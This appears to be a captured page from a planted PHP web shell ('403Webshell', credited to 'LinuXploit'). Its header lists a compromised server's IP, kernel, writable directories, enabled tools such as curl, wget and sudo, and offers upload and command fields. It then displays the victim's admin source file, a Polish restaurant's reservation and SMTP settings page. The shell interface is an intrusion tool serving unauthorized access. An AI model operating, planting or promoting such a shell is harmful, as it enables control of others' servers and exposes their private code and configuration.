403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/reservation-settings.php
<?php
declare(strict_types=1);

require_once dirname(__DIR__) . '/includes/functions.php';
require_login();
ensure_reservations_schema();

$keys = [
    'reservations_enabled',
    'reservation_admin_email',
    'reservation_min_guests',
    'reservation_max_guests',
    'reservation_days_ahead',
    'reservation_intro',
    'reservation_success_message',
    'reservation_auto_reply_enabled',
    'reservation_received_subject',
    'reservation_received_body',
    'reservation_confirmed_subject',
    'reservation_confirmed_body',
    'reservation_rejected_subject',
    'reservation_rejected_body',
    'reservation_cancelled_subject',
    'reservation_cancelled_body',
    'smtp_enabled',
    'smtp_host',
    'smtp_port',
    'smtp_security',
    'smtp_username',
    'smtp_from_email',
    'smtp_from_name',
];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    verify_csrf();

    $action = (string)($_POST['action'] ?? 'save');

    try {
        if ($action === 'save') {
            $stmt = db()->prepare(
                'INSERT INTO settings (setting_key, setting_value)
                 VALUES (?, ?)
                 ON DUPLICATE KEY UPDATE setting_value = VALUES(setting_value)'
            );

            foreach ($keys as $key) {
                $value = trim((string)($_POST[$key] ?? ''));
                $stmt->execute([$key, $value]);
            }

            $password = (string)($_POST['smtp_password'] ?? '');

            if ($password !== '') {
                $stmt->execute([
                    'smtp_password_secret',
                    smtp_encrypt_password($password),
                ]);
            }

            admin_log('reservation_settings', 'Zmieniono ustawienia rezerwacji i SMTP');
            flash('success', 'Ustawienia rezerwacji i SMTP zostały zapisane.');
            redirect('/admin/reservation-settings.php');
        }

        if ($action === 'test_smtp') {
            $testEmail = trim((string)($_POST['test_email'] ?? ''));

            if ($testEmail === '') {
                throw new RuntimeException('Podaj adres testowy.');
            }

            smtp_send_mail(
                $testEmail,
                'Test SMTP – ' . setting('site_name', APP_NAME),
                reservation_email_html(
                    'Test SMTP',
                    'Jeśli widzisz tę wiadomość, konfiguracja SMTP działa poprawnie.'
                ),
                'Jeśli widzisz tę wiadomość, konfiguracja SMTP działa poprawnie.'
            );

            flash('success', 'Wiadomość testowa została wysłana.');
            redirect('/admin/reservation-settings.php');
        }
    } catch (Throwable $e) {
        flash('error', $e->getMessage());
        redirect('/admin/reservation-settings.php');
    }
}

$defaults = reservation_default_settings();
$values = [];

foreach ($keys as $key) {
    $values[$key] = setting($key, $defaults[$key] ?? '');
}

render_admin_header('Rezerwacje – ustawienia');
?>
<div class="admin-title-row">
    <div>
        <h1>Rezerwacje – ustawienia i SMTP</h1>
        <p>Formularz publiczny, autoresponder i serwer pocztowy.</p>
    </div>
    <a class="btn btn-light" href="/admin/reservations.php">← Rezerwacje</a>
</div>

<!-- POLANA_V175_SETTINGS_LINK -->
<div class="form-card" style="margin-bottom:18px;padding:18px"><strong>Godziny rezerwacji i wygląd e-maili</strong><p style="margin:7px 0 12px">Ustaw dni otwarcia, zablokuj niedostępne godziny i zobacz podgląd autoresponderów.</p><a class="btn btn-primary" href="/admin/polana-godziny-rezerwacji.php">Otwórz godziny i wiadomości →</a></div>
<form class="form-card form-grid" method="post">
    <?= csrf_field() ?>
    <input type="hidden" name="action" value="save">

    <div class="full admin-section-title">
        <h2>Formularz rezerwacji</h2>
    </div>

    <label>
        Rezerwacje online
        <select name="reservations_enabled">
            <option value="1" <?= $values['reservations_enabled'] === '1' ? 'selected' : '' ?>>Włączone</option>
            <option value="0" <?= $values['reservations_enabled'] === '0' ? 'selected' : '' ?>>Wyłączone</option>
        </select>
    </label>

    <label>
        E-mail obsługi
        <input type="email" name="reservation_admin_email" value="<?= e($values['reservation_admin_email']) ?>">
    </label>

    <label>
        Min. liczba osób
        <input type="number" name="reservation_min_guests" min="1" value="<?= e($values['reservation_min_guests']) ?>">
    </label>

    <label>
        Maks. liczba osób
        <input type="number" name="reservation_max_guests" min="1" value="<?= e($values['reservation_max_guests']) ?>">
    </label>

    <label>
        Rezerwacje maks. ile dni naprzód
        <input type="number" name="reservation_days_ahead" min="1" max="365" value="<?= e($values['reservation_days_ahead']) ?>">
    </label>

    <label class="full">
        Tekst nad formularzem
        <textarea name="reservation_intro" rows="3"><?= e($values['reservation_intro']) ?></textarea>
    </label>

    <label class="full">
        Tekst po wysłaniu
        <textarea name="reservation_success_message" rows="3"><?= e($values['reservation_success_message']) ?></textarea>
    </label>

    <div class="full admin-section-title">
        <h2>SMTP</h2>
        <p>Hasło jest zapisywane osobno i szyfrowane lokalnym kluczem w katalogu storage.</p>
    </div>

    <label>
        SMTP
        <select name="smtp_enabled">
            <option value="1" <?= $values['smtp_enabled'] === '1' ? 'selected' : '' ?>>Włączony</option>
            <option value="0" <?= $values['smtp_enabled'] === '0' ? 'selected' : '' ?>>Wyłączony</option>
        </select>
    </label>

    <label>
        Host SMTP
        <input name="smtp_host" value="<?= e($values['smtp_host']) ?>" placeholder="np. smtp.twojadomena.pl">
    </label>

    <label>
        Port
        <input type="number" name="smtp_port" value="<?= e($values['smtp_port']) ?>">
    </label>

    <label>
        Szyfrowanie
        <select name="smtp_security">
            <option value="starttls" <?= $values['smtp_security'] === 'starttls' ? 'selected' : '' ?>>STARTTLS</option>
            <option value="ssl" <?= $values['smtp_security'] === 'ssl' ? 'selected' : '' ?>>SSL/TLS</option>
            <option value="none" <?= $values['smtp_security'] === 'none' ? 'selected' : '' ?>>Brak</option>
        </select>
    </label>

    <label>
        Login SMTP
        <input name="smtp_username" value="<?= e($values['smtp_username']) ?>" autocomplete="username">
    </label>

    <label>
        Hasło SMTP
        <input type="password" name="smtp_password" value="" autocomplete="new-password" placeholder="<?= smtp_password_is_set() ? 'Hasło zapisane – zostaw puste, aby nie zmieniać' : 'Wpisz hasło SMTP' ?>">
    </label>

    <label>
        Adres nadawcy
        <input type="email" name="smtp_from_email" value="<?= e($values['smtp_from_email']) ?>" placeholder="[email protected]">
    </label>

    <label>
        Nazwa nadawcy
        <input name="smtp_from_name" value="<?= e($values['smtp_from_name']) ?>">
    </label>

    <div class="full admin-section-title">
        <h2>Automatyczne odpowiedzi</h2>
        <p>Możesz używać: {code}, {name}, {date}, {time}, {guests}, {phone}, {email}, {notes}, {site}</p>
    </div>

    <label>
        Autoresponder po wysłaniu
        <select name="reservation_auto_reply_enabled">
            <option value="1" <?= $values['reservation_auto_reply_enabled'] === '1' ? 'selected' : '' ?>>Włączony</option>
            <option value="0" <?= $values['reservation_auto_reply_enabled'] === '0' ? 'selected' : '' ?>>Wyłączony</option>
        </select>
    </label>

    <label class="full">
        Temat – odebraliśmy prośbę
        <input name="reservation_received_subject" value="<?= e($values['reservation_received_subject']) ?>">
    </label>

    <label class="full">
        Treść – odebraliśmy prośbę
        <textarea name="reservation_received_body" rows="7"><?= e($values['reservation_received_body']) ?></textarea>
    </label>

    <label class="full">
        Temat – potwierdzona
        <input name="reservation_confirmed_subject" value="<?= e($values['reservation_confirmed_subject']) ?>">
    </label>

    <label class="full">
        Treść – potwierdzona
        <textarea name="reservation_confirmed_body" rows="6"><?= e($values['reservation_confirmed_body']) ?></textarea>
    </label>

    <label class="full">
        Temat – brak dostępności
        <input name="reservation_rejected_subject" value="<?= e($values['reservation_rejected_subject']) ?>">
    </label>

    <label class="full">
        Treść – brak dostępności
        <textarea name="reservation_rejected_body" rows="6"><?= e($values['reservation_rejected_body']) ?></textarea>
    </label>

    <label class="full">
        Temat – anulowana
        <input name="reservation_cancelled_subject" value="<?= e($values['reservation_cancelled_subject']) ?>">
    </label>

    <label class="full">
        Treść – anulowana
        <textarea name="reservation_cancelled_body" rows="6"><?= e($values['reservation_cancelled_body']) ?></textarea>
    </label>

    <div class="full">
        <button class="btn btn-primary" type="submit">Zapisz ustawienia</button>
    </div>
</form>

<form class="form-card form-grid" method="post">
    <?= csrf_field() ?>
    <input type="hidden" name="action" value="test_smtp">

    <div class="full admin-section-title">
        <h2>Test SMTP</h2>
        <p>Najpierw zapisz ustawienia powyżej, potem wyślij wiadomość testową.</p>
    </div>

    <label class="full">
        Wyślij test na
        <input type="email" name="test_email" value="<?= e($values['reservation_admin_email']) ?>" required>
    </label>

    <div class="full">
        <button class="btn btn-green" type="submit">Wyślij test SMTP</button>
    </div>
</form>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit